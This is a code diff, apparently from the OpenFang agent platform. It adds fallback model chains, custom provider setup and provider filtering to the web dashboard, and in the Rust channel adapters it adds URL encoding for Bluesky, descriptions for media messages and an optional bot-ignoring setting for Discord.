<span class="text-xs" style="color:var(--danger)" x-text="formatRecordingTime()"></span>
|
||||
</div>
|
||||
<textarea id="msg-input" rows="1" :placeholder="recording ? 'Recording... release to send' : 'Message OpenFang... (/ for commands)'"
|
||||
@keydown.enter.prevent="if(!$event.shiftKey){if(showModelPicker && filteredModelPicker.length){pickModel(filteredModelPicker[modelPickerIdx].id)}else if(showSlashMenu && filteredSlashCommands.length){executeSlashCommand(filteredSlashCommands[slashIdx].cmd)}else{sendMessage()}}"
|
||||
@keydown.enter.prevent="if(!$event.isComposing && !$event.shiftKey){if(showModelPicker && filteredModelPicker.length){pickModel(filteredModelPicker[modelPickerIdx].id)}else if(showSlashMenu && filteredSlashCommands.length){executeSlashCommand(filteredSlashCommands[slashIdx].cmd)}else{sendMessage()}}"
|
||||
@keydown.escape="showSlashMenu = false; showModelPicker = false"
|
||||
@keydown.arrow-up.prevent="if(showModelPicker){modelPickerIdx = Math.max(0, modelPickerIdx - 1)}else if(showSlashMenu){slashIdx = Math.max(0, slashIdx - 1)}"
|
||||
@keydown.arrow-down.prevent="if(showModelPicker){modelPickerIdx = Math.min(filteredModelPicker.length - 1, modelPickerIdx + 1)}else if(showSlashMenu){slashIdx = Math.min(filteredSlashCommands.length - 1, slashIdx + 1)}"
|
||||
@@ -769,6 +770,12 @@
|
||||
<div class="model-switcher-search">
|
||||
<svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" style="flex-shrink:0;opacity:0.5"><circle cx="11" cy="11" r="8"/><line x1="21" y1="21" x2="16.65" y2="16.65"/></svg>
|
||||
<input id="model-switcher-search" type="text" x-model="modelSwitcherFilter" placeholder="Search models..." @keydown.escape.stop="showModelSwitcher = false" @keydown.arrow-down.prevent="modelSwitcherIdx = Math.min(modelSwitcherIdx + 1, filteredSwitcherModels.length - 1)" @keydown.arrow-up.prevent="modelSwitcherIdx = Math.max(modelSwitcherIdx - 1, 0)" @keydown.enter.prevent="filteredSwitcherModels[modelSwitcherIdx] && switchModel(filteredSwitcherModels[modelSwitcherIdx])">
|
||||
<select x-model="modelSwitcherProviderFilter" style="background:var(--surface2);border:1px solid var(--border);border-radius:6px;color:var(--text-dim);font-size:11px;padding:2px 6px;cursor:pointer;font-family:var(--font-mono);flex-shrink:0">
|
||||
<option value="">All</option>
|
||||
<template x-for="pn in switcherProviders" :key="pn">
|
||||
<option :value="pn" x-text="pn"></option>
|
||||
</template>
|
||||
</select>
|
||||
</div>
|
||||
<div x-show="modelSwitching" style="display:flex;align-items:center;justify-content:center;padding:12px;gap:8px">
|
||||
<div class="tool-card-spinner"></div>
|
||||
@@ -841,6 +848,9 @@
|
||||
<div class="text-xs text-dim font-mono" style="font-size:11px" x-text="agent.model_name"></div>
|
||||
</div>
|
||||
<span class="badge" :class="'badge-' + agent.state.toLowerCase()" x-text="agent.state" style="font-size:10px"></span>
|
||||
<button class="agent-chip-config-btn" @click.stop="showDetail(agent)" title="Agent settings" style="display:flex;align-items:center;justify-content:center;width:28px;height:28px;border-radius:50%;border:1px solid var(--border);background:transparent;cursor:pointer;color:var(--text-dim);transition:all 0.15s;flex-shrink:0" @mouseenter="$el.style.borderColor='var(--accent)';$el.style.color='var(--accent)';$el.style.background='var(--surface2)'" @mouseleave="$el.style.borderColor='var(--border)';$el.style.color='var(--text-dim)';$el.style.background='transparent'">
|
||||
<svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="3"/><path d="M19.4 15a1.65 1.65 0 0 0 .33 1.82l.06.06a2 2 0 0 1 0 2.83 2 2 0 0 1-2.83 0l-.06-.06a1.65 1.65 0 0 0-1.82-.33 1.65 1.65 0 0 0-1 1.51V21a2 2 0 0 1-2 2 2 2 0 0 1-2-2v-.09A1.65 1.65 0 0 0 9 19.4a1.65 1.65 0 0 0-1.82.33l-.06.06a2 2 0 0 1-2.83 0 2 2 0 0 1 0-2.83l.06-.06A1.65 1.65 0 0 0 4.68 15a1.65 1.65 0 0 0-1.51-1H3a2 2 0 0 1-2-2 2 2 0 0 1 2-2h.09A1.65 1.65 0 0 0 4.6 9a1.65 1.65 0 0 0-.33-1.82l-.06-.06a2 2 0 0 1 0-2.83 2 2 0 0 1 2.83 0l.06.06A1.65 1.65 0 0 0 9 4.68a1.65 1.65 0 0 0 1-1.51V3a2 2 0 0 1 2-2 2 2 0 0 1 2 2v.09a1.65 1.65 0 0 0 1 1.51 1.65 1.65 0 0 0 1.82-.33l.06-.06a2 2 0 0 1 2.83 0 2 2 0 0 1 0 2.83l-.06.06A1.65 1.65 0 0 0 19.4 9a1.65 1.65 0 0 0 1.51 1H21a2 2 0 0 1 2 2 2 2 0 0 1-2 2h-.09a1.65 1.65 0 0 0-1.51 1z"/></svg>
|
||||
</button>
|
||||
</div>
|
||||
</template>
|
||||
</div>
|
||||
@@ -912,6 +922,36 @@
|
||||
</template>
|
||||
</div>
|
||||
<div class="detail-row"><span class="detail-label">Created</span><span class="detail-value" x-text="detailAgent.created_at ? new Date(detailAgent.created_at).toLocaleString() : '-'"></span></div>
|
||||
|
||||
<!-- Fallback Model Chain -->
|
||||
<div class="detail-row" style="align-items:flex-start">
|
||||
<span class="detail-label">Fallbacks</span>
|
||||
<div style="flex:1">
|
||||
<template x-if="detailAgent._fallbacks && detailAgent._fallbacks.length > 0">
|
||||
<div>
|
||||
<template x-for="(fb, idx) in detailAgent._fallbacks" :key="idx">
|
||||
<div class="flex gap-1 items-center" style="margin-bottom:4px">
|
||||
<span class="badge" style="font-size:11px;font-family:var(--font-mono)" x-text="(idx+1) + '. ' + fb.provider + '/' + fb.model"></span>
|
||||
<button class="btn btn-ghost btn-sm" style="padding:1px 4px;font-size:10px;color:var(--danger)" @click="removeFallback(idx)">×</button>
|
||||
</div>
|
||||
</template>
|
||||
</div>
|
||||
</template>
|
||||
<template x-if="!detailAgent._fallbacks || detailAgent._fallbacks.length === 0">
|
||||
<span class="text-dim" style="font-size:12px">None — add a fallback chain</span>
|
||||
</template>
|
||||
<template x-if="!editingFallback">
|
||||
<button class="btn btn-ghost btn-sm" style="padding:2px 8px;font-size:11px;margin-top:4px" @click="editingFallback = true; newFallbackValue = ''">+ Add</button>
|
||||
</template>
|
||||
<template x-if="editingFallback">
|
||||
<div class="flex gap-1 mt-1" style="align-items:center">
|
||||
<input class="form-input" style="width:220px;font-size:12px" x-model="newFallbackValue" placeholder="provider/model" @keydown.enter="addFallback()" @keydown.escape="editingFallback = false">
|
||||
<button class="btn btn-primary btn-sm" @click="addFallback()" style="padding:2px 10px;font-size:11px">Add</button>
|
||||
<button class="btn btn-ghost btn-sm" @click="editingFallback = false" style="padding:2px 8px;font-size:11px">Cancel</button>
|
||||
</div>
|
||||
</template>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="flex gap-2 mt-4">
|
||||
<button class="btn btn-primary" @click="chatWithAgent(detailAgent); showDetailModal = false">Chat</button>
|
||||
@@ -3003,6 +3043,30 @@ args = ["-y", "@modelcontextprotocol/server-filesystem", "/path"]</pre>
|
||||
</div>
|
||||
</template>
|
||||
</div>
|
||||
<!-- Add Custom Provider -->
|
||||
<div class="info-card mt-4" style="border:1px solid var(--border)">
|
||||
<h4 style="margin-top:0">Add Custom Provider</h4>
|
||||
<p class="text-xs text-dim mb-2">Connect any OpenAI-compatible API (vLLM, LiteLLM, LocalAI, etc.)</p>
|
||||
<div style="display:grid;grid-template-columns:1fr 1fr;gap:0.5rem">
|
||||
<div>
|
||||
<label class="text-xs text-dim">Provider Name</label>
|
||||
<input class="form-input" x-model="customProviderName" placeholder="e.g. my-local-llm">
|
||||
</div>
|
||||
<div>
|
||||
<label class="text-xs text-dim">Base URL (required)</label>
|
||||
<input class="form-input" x-model="customProviderUrl" placeholder="http://localhost:8080/v1">
|
||||
</div>
|
||||
</div>
|
||||
<div class="mt-2">
|
||||
<label class="text-xs text-dim">API Key (optional)</label>
|
||||
<input class="form-input" type="password" x-model="customProviderKey" placeholder="sk-... (leave blank if not needed)">
|
||||
</div>
|
||||
<button class="btn btn-primary btn-sm mt-2" @click="addCustomProvider()" :disabled="!customProviderName.trim() || !customProviderUrl.trim() || addingCustomProvider">
|
||||
<span x-show="!addingCustomProvider">Add Provider</span>
|
||||
<span x-show="addingCustomProvider" class="spinner" style="width:10px;height:10px;border-width:2px"></span>
|
||||
</button>
|
||||
<span class="text-xs text-dim ml-2" x-text="customProviderStatus"></span>
|
||||
</div>
|
||||
<div class="empty-state" x-show="!providers.length">
|
||||
<h4>No providers found</h4>
|
||||
<p class="hint">Provider information could not be loaded. Check that the API is running.</p>
|
||||
|
||||
@@ -63,6 +63,9 @@ function agentsPage() {
|
||||
editingModel: false,
|
||||
newModelValue: '',
|
||||
modelSaving: false,
|
||||
// -- Fallback chain --
|
||||
editingFallback: false,
|
||||
newFallbackValue: '',
|
||||
|
||||
// -- Templates state --
|
||||
tplTemplates: [],
|
||||
@@ -316,12 +319,15 @@ function agentsPage() {
|
||||
OpenFangAPI.wsDisconnect();
|
||||
},
|
||||
|
||||
showDetail(agent) {
|
||||
async showDetail(agent) {
|
||||
this.detailAgent = agent;
|
||||
this.detailAgent._fallbacks = [];
|
||||
this.detailTab = 'info';
|
||||
this.agentFiles = [];
|
||||
this.editingFile = null;
|
||||
this.fileContent = '';
|
||||
this.editingFallback = false;
|
||||
this.newFallbackValue = '';
|
||||
this.configForm = {
|
||||
name: agent.name || '',
|
||||
system_prompt: agent.system_prompt || '',
|
||||
@@ -331,6 +337,11 @@ function agentsPage() {
|
||||
vibe: (agent.identity && agent.identity.vibe) || ''
|
||||
};
|
||||
this.showDetailModal = true;
|
||||
// Fetch full agent detail to get fallback_models
|
||||
try {
|
||||
var full = await OpenFangAPI.get('/api/agents/' + agent.id);
|
||||
this.detailAgent._fallbacks = full.fallback_models || [];
|
||||
} catch(e) { /* ignore */ }
|
||||
},
|
||||
|
||||
killAgent(agent) {
|
||||
@@ -601,6 +612,41 @@ function agentsPage() {
|
||||
this.modelSaving = false;
|
||||
},
|
||||
|
||||
// ── Fallback model chain ──
|
||||
async addFallback() {
|
||||
if (!this.detailAgent || !this.newFallbackValue.trim()) return;
|
||||
var parts = this.newFallbackValue.trim().split('/');
|
||||
var provider = parts.length > 1 ? parts[0] : this.detailAgent.model_provider;
|
||||
var model = parts.length > 1 ? parts.slice(1).join('/') : parts[0];
|
||||
if (!this.detailAgent._fallbacks) this.detailAgent._fallbacks = [];
|
||||
this.detailAgent._fallbacks.push({ provider: provider, model: model });
|
||||
try {
|
||||
await OpenFangAPI.patch('/api/agents/' + this.detailAgent.id + '/config', {
|
||||
fallback_models: this.detailAgent._fallbacks
|
||||
});
|
||||
OpenFangToast.success('Fallback added: ' + provider + '/' + model);
|
||||
} catch(e) {
|
||||
OpenFangToast.error('Failed to save fallbacks: ' + e.message);
|
||||
this.detailAgent._fallbacks.pop();
|
||||
}
|
||||
this.editingFallback = false;
|
||||
this.newFallbackValue = '';
|
||||
},
|
||||
|
||||
async removeFallback(idx) {
|
||||
if (!this.detailAgent || !this.detailAgent._fallbacks) return;
|
||||
var removed = this.detailAgent._fallbacks.splice(idx, 1);
|
||||
try {
|
||||
await OpenFangAPI.patch('/api/agents/' + this.detailAgent.id + '/config', {
|
||||
fallback_models: this.detailAgent._fallbacks
|
||||
});
|
||||
OpenFangToast.success('Fallback removed');
|
||||
} catch(e) {
|
||||
OpenFangToast.error('Failed to save fallbacks: ' + e.message);
|
||||
this.detailAgent._fallbacks.splice(idx, 0, removed[0]);
|
||||
}
|
||||
},
|
||||
|
||||
// ── Tool filters ──
|
||||
async loadToolFilters() {
|
||||
if (!this.detailAgent) return;
|
||||
|
||||
@@ -37,6 +37,7 @@ function chatPage() {
|
||||
// Model switcher dropdown
|
||||
showModelSwitcher: false,
|
||||
modelSwitcherFilter: '',
|
||||
modelSwitcherProviderFilter: '',
|
||||
modelSwitcherIdx: 0,
|
||||
modelSwitching: false,
|
||||
_modelCache: null,
|
||||
@@ -99,14 +100,25 @@ function chatPage() {
|
||||
return short.length > 24 ? short.substring(0, 22) + '\u2026' : short;
|
||||
},
|
||||
|
||||
get switcherProviders() {
|
||||
var seen = {};
|
||||
(this._modelCache || []).forEach(function(m) { seen[m.provider] = true; });
|
||||
return Object.keys(seen).sort();
|
||||
},
|
||||
|
||||
get filteredSwitcherModels() {
|
||||
var models = this._modelCache || [];
|
||||
if (!this.modelSwitcherFilter) return models;
|
||||
var f = this.modelSwitcherFilter.toLowerCase();
|
||||
var provFilter = this.modelSwitcherProviderFilter;
|
||||
var textFilter = this.modelSwitcherFilter ? this.modelSwitcherFilter.toLowerCase() : '';
|
||||
if (!provFilter && !textFilter) return models;
|
||||
return models.filter(function(m) {
|
||||
return m.id.toLowerCase().indexOf(f) !== -1 ||
|
||||
(m.display_name || '').toLowerCase().indexOf(f) !== -1 ||
|
||||
m.provider.toLowerCase().indexOf(f) !== -1;
|
||||
if (provFilter && m.provider !== provFilter) return false;
|
||||
if (textFilter) {
|
||||
return m.id.toLowerCase().indexOf(textFilter) !== -1 ||
|
||||
(m.display_name || '').toLowerCase().indexOf(textFilter) !== -1 ||
|
||||
m.provider.toLowerCase().indexOf(textFilter) !== -1;
|
||||
}
|
||||
return true;
|
||||
});
|
||||
},
|
||||
|
||||
@@ -220,6 +232,7 @@ function chatPage() {
|
||||
var now = Date.now();
|
||||
if (this._modelCache && (now - this._modelCacheTime) < 300000) {
|
||||
this.modelSwitcherFilter = '';
|
||||
this.modelSwitcherProviderFilter = '';
|
||||
this.modelSwitcherIdx = 0;
|
||||
this.showModelSwitcher = true;
|
||||
this.$nextTick(function() {
|
||||
@@ -234,6 +247,7 @@ function chatPage() {
|
||||
self._modelCacheTime = Date.now();
|
||||
self.modelPickerList = models;
|
||||
self.modelSwitcherFilter = '';
|
||||
self.modelSwitcherProviderFilter = '';
|
||||
self.modelSwitcherIdx = 0;
|
||||
self.showModelSwitcher = true;
|
||||
self.$nextTick(function() {
|
||||
@@ -406,9 +420,10 @@ function chatPage() {
|
||||
case '/model':
|
||||
if (self.currentAgent) {
|
||||
if (cmdArgs) {
|
||||
OpenFangAPI.put('/api/agents/' + self.currentAgent.id + '/model', { model: cmdArgs }).then(function() {
|
||||
OpenFangAPI.put('/api/agents/' + self.currentAgent.id + '/model', { model: cmdArgs }).then(function(resp) {
|
||||
self.currentAgent.model_name = cmdArgs;
|
||||
self.messages.push({ id: ++msgId, role: 'system', text: 'Model switched to: `' + cmdArgs + '`', meta: '', tools: [] });
|
||||
if (resp && resp.provider) { self.currentAgent.model_provider = resp.provider; }
|
||||
self.messages.push({ id: ++msgId, role: 'system', text: 'Model switched to: `' + cmdArgs + '`' + (resp && resp.provider ? ' (provider: `' + resp.provider + '`)' : ''), meta: '', tools: [] });
|
||||
self.scrollToBottom();
|
||||
}).catch(function(e) { OpenFangToast.error('Model switch failed: ' + e.message); });
|
||||
} else {
|
||||
@@ -517,7 +532,10 @@ function chatPage() {
|
||||
is_error: !!t.is_error
|
||||
};
|
||||
});
|
||||
return { id: ++msgId, role: role, text: text, meta: '', tools: tools };
|
||||
var images = (m.images || []).map(function(img) {
|
||||
return { file_id: img.file_id, filename: img.filename || 'image' };
|
||||
});
|
||||
return { id: ++msgId, role: role, text: text, meta: '', tools: tools, images: images };
|
||||
});
|
||||
self.$nextTick(function() { self.scrollToBottom(); });
|
||||
}
|
||||
|
||||
@@ -26,6 +26,11 @@ function settingsPage() {
|
||||
providerTesting: {},
|
||||
providerTestResults: {},
|
||||
copilotOAuth: { polling: false, userCode: '', verificationUri: '', pollId: '', interval: 5 },
|
||||
customProviderName: '',
|
||||
customProviderUrl: '',
|
||||
customProviderKey: '',
|
||||
customProviderStatus: '',
|
||||
addingCustomProvider: false,
|
||||
loading: true,
|
||||
loadError: '',
|
||||
|
||||
@@ -290,11 +295,14 @@ function settingsPage() {
|
||||
|
||||
async saveConfigField(section, field, value) {
|
||||
var key = section + '.' + field;
|
||||
// Root-level fields (api_key, api_listen, log_level) use just the field name
|
||||
var sectionMeta = this.configSchema && this.configSchema[section];
|
||||
var path = (sectionMeta && sectionMeta.root_level) ? field : key;
|
||||
this.configSaving[key] = true;
|
||||
try {
|
||||
await OpenFangAPI.post('/api/config/set', { path: key, value: value });
|
||||
await OpenFangAPI.post('/api/config/set', { path: path, value: value });
|
||||
this.configDirty[key] = false;
|
||||
OpenFangToast.success('Saved ' + key);
|
||||
OpenFangToast.success('Saved ' + field);
|
||||
} catch(e) {
|
||||
OpenFangToast.error('Failed to save: ' + e.message);
|
||||
}
|
||||
@@ -499,6 +507,34 @@ function settingsPage() {
|
||||
this.providerUrlSaving[provider.id] = false;
|
||||
},
|
||||
|
||||
async addCustomProvider() {
|
||||
var name = this.customProviderName.trim().toLowerCase().replace(/[^a-z0-9-]/g, '-').replace(/-+/g, '-');
|
||||
if (!name) { OpenFangToast.error('Please enter a provider name'); return; }
|
||||
var url = this.customProviderUrl.trim();
|
||||
if (!url) { OpenFangToast.error('Please enter a base URL'); return; }
|
||||
if (url.indexOf('http://') !== 0 && url.indexOf('https://') !== 0) {
|
||||
OpenFangToast.error('URL must start with http:// or https://'); return;
|
||||
}
|
||||
this.addingCustomProvider = true;
|
||||
this.customProviderStatus = '';
|
||||
try {
|
||||
var result = await OpenFangAPI.put('/api/providers/' + encodeURIComponent(name) + '/url', { base_url: url });
|
||||
if (this.customProviderKey.trim()) {
|
||||
await OpenFangAPI.post('/api/providers/' + encodeURIComponent(name) + '/key', { key: this.customProviderKey.trim() });
|
||||
}
|
||||
this.customProviderName = '';
|
||||
this.customProviderUrl = '';
|
||||
this.customProviderKey = '';
|
||||
this.customProviderStatus = '';
|
||||
OpenFangToast.success('Provider "' + name + '" added' + (result.reachable ? ' (reachable)' : ' (not reachable yet)'));
|
||||
await this.loadProviders();
|
||||
} catch(e) {
|
||||
this.customProviderStatus = 'Error: ' + (e.message || 'Failed');
|
||||
OpenFangToast.error('Failed to add provider: ' + e.message);
|
||||
}
|
||||
this.addingCustomProvider = false;
|
||||
},
|
||||
|
||||
// -- Security methods --
|
||||
async loadSecurity() {
|
||||
this.secLoading = true;
|
||||
|
||||
@@ -320,7 +320,7 @@ function wizardPage() {
|
||||
},
|
||||
|
||||
get popularProviders() {
|
||||
var popular = ['anthropic', 'openai', 'gemini', 'groq', 'deepseek', 'openrouter'];
|
||||
var popular = ['anthropic', 'openai', 'gemini', 'groq', 'deepseek', 'openrouter', 'claude-code'];
|
||||
return this.providers.filter(function(p) {
|
||||
return popular.indexOf(p.id) >= 0;
|
||||
}).sort(function(a, b) {
|
||||
@@ -329,7 +329,7 @@ function wizardPage() {
|
||||
},
|
||||
|
||||
get otherProviders() {
|
||||
var popular = ['anthropic', 'openai', 'gemini', 'groq', 'deepseek', 'openrouter'];
|
||||
var popular = ['anthropic', 'openai', 'gemini', 'groq', 'deepseek', 'openrouter', 'claude-code'];
|
||||
return this.providers.filter(function(p) {
|
||||
return popular.indexOf(p.id) < 0;
|
||||
});
|
||||
@@ -355,7 +355,8 @@ function wizardPage() {
|
||||
fireworks: { url: 'https://fireworks.ai/account/api-keys', text: 'Get your key from Fireworks AI' },
|
||||
perplexity: { url: 'https://www.perplexity.ai/settings/api', text: 'Get your key from Perplexity Settings' },
|
||||
cohere: { url: 'https://dashboard.cohere.com/api-keys', text: 'Get your key from the Cohere Dashboard' },
|
||||
xai: { url: 'https://console.x.ai/', text: 'Get your key from the xAI Console' }
|
||||
xai: { url: 'https://console.x.ai/', text: 'Get your key from the xAI Console' },
|
||||
'claude-code': { url: 'https://docs.anthropic.com/en/docs/claude-code', text: 'Install: npm install -g @anthropic-ai/claude-code && claude auth (no API key needed)' }
|
||||
};
|
||||
return help[id] || null;
|
||||
},
|
||||
@@ -474,7 +475,8 @@ function wizardPage() {
|
||||
fireworks: 'accounts/fireworks/models/llama-v3p1-70b-instruct',
|
||||
perplexity: 'llama-3.1-sonar-large-128k-online',
|
||||
cohere: 'command-r-plus',
|
||||
xai: 'grok-2'
|
||||
xai: 'grok-2',
|
||||
'claude-code': 'claude-code/sonnet'
|
||||
};
|
||||
return defaults[providerId] || '';
|
||||
},
|
||||
|
||||
@@ -26,6 +26,7 @@ hmac = { workspace = true }
|
||||
sha2 = { workspace = true }
|
||||
base64 = { workspace = true }
|
||||
hex = { workspace = true }
|
||||
html-escape = { workspace = true }
|
||||
|
||||
lettre = { workspace = true }
|
||||
imap = { workspace = true }
|
||||
|
||||
@@ -435,7 +435,11 @@ impl ChannelAdapter for BlueskyAdapter {
|
||||
service_url
|
||||
);
|
||||
if let Some(ref seen) = last_seen_at {
|
||||
url.push_str(&format!("&seenAt={}", seen));
|
||||
let encoded: String = url::form_urlencoded::Serializer::new(String::new())
|
||||
.append_pair("seenAt", seen)
|
||||
.finish();
|
||||
url.push('&');
|
||||
url.push_str(&encoded);
|
||||
}
|
||||
|
||||
let resp = match client.get(&url).bearer_auth(&token).send().await {
|
||||
|
||||
@@ -453,16 +453,21 @@ async fn dispatch_message(
|
||||
send_response(adapter, &message.sender, result, thread_id, output_format).await;
|
||||
return;
|
||||
}
|
||||
_ => {
|
||||
send_response(
|
||||
adapter,
|
||||
&message.sender,
|
||||
"I can only handle text messages for now.".to_string(),
|
||||
thread_id,
|
||||
output_format,
|
||||
)
|
||||
.await;
|
||||
return;
|
||||
ChannelContent::Image { ref url, ref caption } => {
|
||||
let desc = match caption {
|
||||
Some(c) => format!("[User sent a photo: {url}]\nCaption: {c}"),
|
||||
None => format!("[User sent a photo: {url}]"),
|
||||
};
|
||||
desc
|
||||
}
|
||||
ChannelContent::File { ref url, ref filename } => {
|
||||
format!("[User sent a file ({filename}): {url}]")
|
||||
}
|
||||
ChannelContent::Voice { ref url, duration_seconds } => {
|
||||
format!("[User sent a voice message ({duration_seconds}s): {url}]")
|
||||
}
|
||||
ChannelContent::Location { lat, lon } => {
|
||||
format!("[User shared location: {lat}, {lon}]")
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
@@ -40,6 +40,7 @@ pub struct DiscordAdapter {
|
||||
client: reqwest::Client,
|
||||
allowed_guilds: Vec<String>,
|
||||
allowed_users: Vec<String>,
|
||||
ignore_bots: bool,
|
||||
intents: u64,
|
||||
shutdown_tx: Arc<watch::Sender<bool>>,
|
||||
shutdown_rx: watch::Receiver<bool>,
|
||||
@@ -56,6 +57,7 @@ impl DiscordAdapter {
|
||||
token: String,
|
||||
allowed_guilds: Vec<String>,
|
||||
allowed_users: Vec<String>,
|
||||
ignore_bots: bool,
|
||||
intents: u64,
|
||||
) -> Self {
|
||||
let (shutdown_tx, shutdown_rx) = watch::channel(false);
|
||||
@@ -64,6 +66,7 @@ impl DiscordAdapter {
|
||||
client: reqwest::Client::new(),
|
||||
allowed_guilds,
|
||||
allowed_users,
|
||||
ignore_bots,
|
||||
intents,
|
||||
shutdown_tx: Arc::new(shutdown_tx),
|
||||
shutdown_rx,
|
||||
@@ -155,6 +158,7 @@ impl ChannelAdapter for DiscordAdapter {
|
||||
let intents = self.intents;
|
||||
let allowed_guilds = self.allowed_guilds.clone();
|
||||
let allowed_users = self.allowed_users.clone();
|
||||
let ignore_bots = self.ignore_bots;
|
||||
let bot_user_id = self.bot_user_id.clone();
|
||||
let session_id_store = self.session_id.clone();
|
||||
let resume_url_store = self.resume_gateway_url.clone();
|
||||
@@ -315,7 +319,7 @@ impl ChannelAdapter for DiscordAdapter {
|
||||
|
||||
"MESSAGE_CREATE" | "MESSAGE_UPDATE" => {
|
||||
if let Some(msg) =
|
||||
parse_discord_message(d, &bot_user_id, &allowed_guilds, &allowed_users)
|
||||
parse_discord_message(d, &bot_user_id, &allowed_guilds, &allowed_users, ignore_bots)
|
||||
.await
|
||||
{
|
||||
debug!(
|
||||
@@ -432,6 +436,7 @@ async fn parse_discord_message(
|
||||
bot_user_id: &Arc<RwLock<Option<String>>>,
|
||||
allowed_guilds: &[String],
|
||||
allowed_users: &[String],
|
||||
ignore_bots: bool,
|
||||
) -> Option<ChannelMessage> {
|
||||
let author = d.get("author")?;
|
||||
let author_id = author["id"].as_str()?;
|
||||
@@ -443,8 +448,8 @@ async fn parse_discord_message(
|
||||
}
|
||||
}
|
||||
|
||||
// Filter out other bots
|
||||
if author["bot"].as_bool() == Some(true) {
|
||||
// Filter out other bots (configurable via ignore_bots)
|
||||
if ignore_bots && author["bot"].as_bool() == Some(true) {
|
||||
return None;
|
||||
}
|
||||
|
||||
@@ -561,7 +566,7 @@ mod tests {
|
||||
"timestamp": "2024-01-01T00:00:00+00:00"
|
||||
});
|
||||
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[]).await.unwrap();
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[], true).await.unwrap();
|
||||
assert_eq!(msg.channel, ChannelType::Discord);
|
||||
assert_eq!(msg.sender.display_name, "alice");
|
||||
assert_eq!(msg.sender.platform_id, "ch1");
|
||||
@@ -583,7 +588,7 @@ mod tests {
|
||||
"timestamp": "2024-01-01T00:00:00+00:00"
|
||||
});
|
||||
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[]).await;
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[], true).await;
|
||||
assert!(msg.is_none());
|
||||
}
|
||||
|
||||
@@ -603,7 +608,7 @@ mod tests {
|
||||
"timestamp": "2024-01-01T00:00:00+00:00"
|
||||
});
|
||||
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[]).await;
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[], true).await;
|
||||
assert!(msg.is_none());
|
||||
}
|
||||
|
||||
@@ -624,11 +629,11 @@ mod tests {
|
||||
});
|
||||
|
||||
// Not in allowed guilds
|
||||
let msg = parse_discord_message(&d, &bot_id, &["111".into(), "222".into()], &[]).await;
|
||||
let msg = parse_discord_message(&d, &bot_id, &["111".into(), "222".into()], &[], true).await;
|
||||
assert!(msg.is_none());
|
||||
|
||||
// In allowed guilds
|
||||
let msg = parse_discord_message(&d, &bot_id, &["999".into()], &[]).await;
|
||||
let msg = parse_discord_message(&d, &bot_id, &["999".into()], &[], true).await;
|
||||
assert!(msg.is_some());
|
||||
}
|
||||
|
||||
@@ -647,7 +652,7 @@ mod tests {
|
||||
"timestamp": "2024-01-01T00:00:00+00:00"
|
||||
});
|
||||
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[]).await.unwrap();
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[], true).await.unwrap();
|
||||
match &msg.content {
|
||||
ChannelContent::Command { name, args } => {
|
||||
assert_eq!(name, "agent");
|
||||
@@ -672,7 +677,7 @@ mod tests {
|
||||
"timestamp": "2024-01-01T00:00:00+00:00"
|
||||
});
|
||||
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[]).await;
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[], true).await;
|
||||
assert!(msg.is_none());
|
||||
}
|
||||
|
||||
@@ -691,7 +696,7 @@ mod tests {
|
||||
"timestamp": "2024-01-01T00:00:00+00:00"
|
||||
});
|
||||
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[]).await.unwrap();
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[], true).await.unwrap();
|
||||
assert_eq!(msg.sender.display_name, "alice#1234");
|
||||
}
|
||||
|
||||
@@ -713,7 +718,7 @@ mod tests {
|
||||
});
|
||||
|
||||
// MESSAGE_UPDATE uses the same parse function as MESSAGE_CREATE
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[]).await.unwrap();
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[], true).await.unwrap();
|
||||
assert_eq!(msg.channel, ChannelType::Discord);
|
||||
assert!(
|
||||
matches!(msg.content, ChannelContent::Text(ref t) if t == "Edited message content")
|
||||
@@ -736,15 +741,15 @@ mod tests {
|
||||
});
|
||||
|
||||
// Not in allowed users
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &["user111".into(), "user222".into()]).await;
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &["user111".into(), "user222".into()], true).await;
|
||||
assert!(msg.is_none());
|
||||
|
||||
// In allowed users
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &["user999".into()]).await;
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &["user999".into()], true).await;
|
||||
assert!(msg.is_some());
|
||||
|
||||
// Empty allowed_users = allow all
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[]).await;
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[], true).await;
|
||||
assert!(msg.is_some());
|
||||
}
|
||||
|
||||
@@ -767,7 +772,7 @@ mod tests {
|
||||
"timestamp": "2024-01-01T00:00:00+00:00"
|
||||
});
|
||||
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[]).await.unwrap();
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[], true).await.unwrap();
|
||||
assert!(msg.is_group);
|
||||
assert_eq!(msg.metadata.get("was_mentioned").and_then(|v| v.as_bool()), Some(true));
|
||||
|
||||
@@ -785,7 +790,7 @@ mod tests {
|
||||
"timestamp": "2024-01-01T00:00:00+00:00"
|
||||
});
|
||||
|
||||
let msg2 = parse_discord_message(&d2, &bot_id, &[], &[]).await.unwrap();
|
||||
let msg2 = parse_discord_message(&d2, &bot_id, &[], &[], true).await.unwrap();
|
||||
assert!(msg2.is_group);
|
||||
assert!(!msg2.metadata.contains_key("was_mentioned"));
|
||||
}
|
||||
@@ -805,13 +810,13 @@ mod tests {
|
||||
"timestamp": "2024-01-01T00:00:00+00:00"
|
||||
});
|
||||
|
||||
